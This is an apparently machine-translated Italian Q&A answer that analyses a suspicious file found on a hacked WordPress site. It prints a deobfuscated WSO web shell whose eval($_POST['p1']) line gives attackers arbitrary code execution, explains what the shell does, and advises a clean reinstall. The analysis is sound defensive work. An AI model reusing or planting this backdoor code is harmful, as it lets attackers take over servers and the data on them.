WordPress ha hackerato, trovato file sospetto [duplicato]

I deobfuscated il codice per te, che è codificato usando Ascii Escapes:

<?php 
        $GLOBALS["vrvweypznipu"]="a";
        $GLOBALS["griuefbdqc"]="auth_pass";
        $GLOBALS["ctxvtooknmju"]="v";
        $GLOBALS["pioykcea"]="default_use_ajax";
        $GLOBALS["iwirmxlqtvyp"]="default_action";
        $GLOBALS["dwembjc"]="color";
        $GLOBALS["dwembjc"]="#df5";
        $GLOBALS["iwirmxlqtvyp"]="FilesMan";

        $oboikuury="default_charset";

        $GLOBALS["pioykcea"]=true;

        $oboikuury = "Windows-1251";

        @ini_set("error_log",NULL);
        @ini_set("log_errors",0);
        @ini_set("max_execution_time",0);

        @set_time_limit(0);
        @set_magic_quotes_runtime(0);
        @define("WSO_VERSION","2.5.1");

        if(get_magic_quotes_gpc())
        {
            function WSOstripslashes($array)
            {
                $GLOBALS["zdizbsuefa"]="array";
                $cfnrvu="array";
                $GLOBALS["kcltlpds"]="array";

                return is_array($GLOBALS["zdizbsuefa"]) ? array_map("WSOstripslashes",$GLOBALS["kcltlpds"]) : stripslashes($cfnrvu);
            }

            $_POST = WSOstripslashes($_POST);
            $_COOKIE = WSOstripslashes($_COOKIE);
        }

        function wsoLogin()
        {
            header("HTTP/1.0 404 Not Found");
            die("404");
        }

        function WSOsetcookie($k,$v)
        {
            $GLOBALS["gvflxmt"]="k";
            $cjtmrt="v";
            $COOKIE[$GLOBALS["gvflxmt"]]=$
            {
                $GLOBALS["ctxvtooknmju"]
            };

            $raogrsixpi="k";

            setcookie($raogrsixpi,$cjtmrt);
        }

        $qyvsdolpq="auth_pass";

        if(!empty($qyvsdolpq))
        {
            $rhavvlolc="authpass";
            $ssfmrro="auth_pass";

            if (isset($_POST["pass"]) &&(md5($_POST["pass"])== $ssfmrro))
            {
                WSOsetcookie(md5($SERVER["HTTPHOST"]),$GLOBALS["griuefbdqc"]);
            }

            if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])])||($_COOKIE[md5($_SERVER["HTTP_HOST"])]!= $rhavvlolc))
            {
                wsoLogin();
            }
        }

        function actionRC()
        {
            if(!@$_POST["p1"])
            {
                $ugtfpiyrum = "a";
                $GLOBALS["vrvweypznipu"] = array("uname"=>php_uname(), "php_version"=>phpversion(), "wso_version"=>WSO_VERSION, "safemode"=>@ini_get("safe_mode"));

                    echo serialize($ugtfpiyrum);
            }
            else
            {
                eval($_POST["p1"]);
            }
        }

        if(empty($POST["a"]))
            {
                $GLOBALS["isvexy"]="default_action";
                $GLOBALS["uoechymzddd"]="defaultaction";

                if(isset($GLOBALS["iwirmxlqtvyp"]) && function_exists("action".$GLOBALS["uoechymzddd"]))
                {
                    $_POST["a"]=$GLOBALS["isvexy"];

                    else
                    { 
                        $_POST["a"]="SecInfo";
                    }
                }
            }
    if(!empty($_POST["a"])&&function_exists("action".$_POST["a"]))
    {
        call_user_func("action".$_POST["a"]);
    }
    exit; 
?>

Come puoi vedere, è che spegne il tuo error logging e non ti consente di registrare gli errori, quindi imposta max_execution_time su 0 . A giudicare da queste impostazioni, sembra che stia cercando di impedirti di scoprire se c'è un errore e di ottenere maggiori informazioni su cosa sta succedendo nei file di registro.

La variabile max_execution_time , insieme a set_time_limit(0) , può essere utilizzata per consentire allo script di eseguire indefinitamente . Lo scopo di questo, in generale, è consentire l'esecuzione di query SQL di grandi dimensioni.

Quindi che altro fa?

Con questa linea qui:

• eval($_POST["p1"]); ( deobfuscated )
• eval($_POST["\x70\x31"]); ( offuscato )

... it consente all'utente malintenzionato di eseguire qualsiasi tipo di codice PHP che desidera sul tuo sistema. A questo punto, non sei completamente sicuro e dovresti assumere che tutto sia compromesso sul tuo server.

La riga eval() viene utilizzata per creare una backdoor di esecuzione arbitraria di codice nelle tue pagine web. Questa riga consente loro di POST this: yourpage.php?p1=execute_dangerous_code_here , che è piuttosto pericoloso. L'intero codice è basato sul nascondersi. Se non si invia la variabile p1, allora cerca la versione PHP, ecc. E la inserisce in $GLOBALS["vrvweypznipu"] , quindi (presumibilmente) può aiutare a trovare altri exploit. Se lo fai, esegue il codice e continua normalmente.

Ora, questo potrebbe essere piuttosto incline agli errori - provare a far funzionare il codice arbitrario - a meno che non lo abbia testato in anticipo, ma non ti consente di sapere se c'è un errore dato che è disabled logging e errors .

Consiglio vivamente il nuking dall'orbita con una nuova installazione. Ripristina un backup di tutti i tuoi file WordPress. Se non hai backup e devi fare affidamento su ciò che hai sul server, dovrai pulirli da solo.

Se sai come codificare, cerca qualcosa nei tuoi file PHP contenenti questa stringa: " eval($ ", (o anche " eval( "). Avrai bisogno di aprire i file per la modifica per assicurarti che siano legittimi e, in caso contrario, rimuovere tutti i file che lo contengono. Infatti, se mai vedessi un codice offuscato come questo, supponi che sia un hack. Non c'è praticamente nessuna ragione per scrivere un codice come questo. Nessun servizio legittimo dovrebbe mai farlo.

Se sei, come dici, "abbastanza nuovo in questo" non sarai in grado di rimuovere in sicurezza gli effetti dell'hack.

Riavvia da zero: nuovo server, nuova installazione di WordPress e mantenere tutto aggiornato. Puoi importare testo / immagini / dati video. Ci sono molte risorse su come indurire un server così come WordPress .

Come menziona @MarkHulkalo, puoi sempre conservare una copia offline e utilizzarla per apprendere la tecnologia forense per capire come è avvenuto il trucco.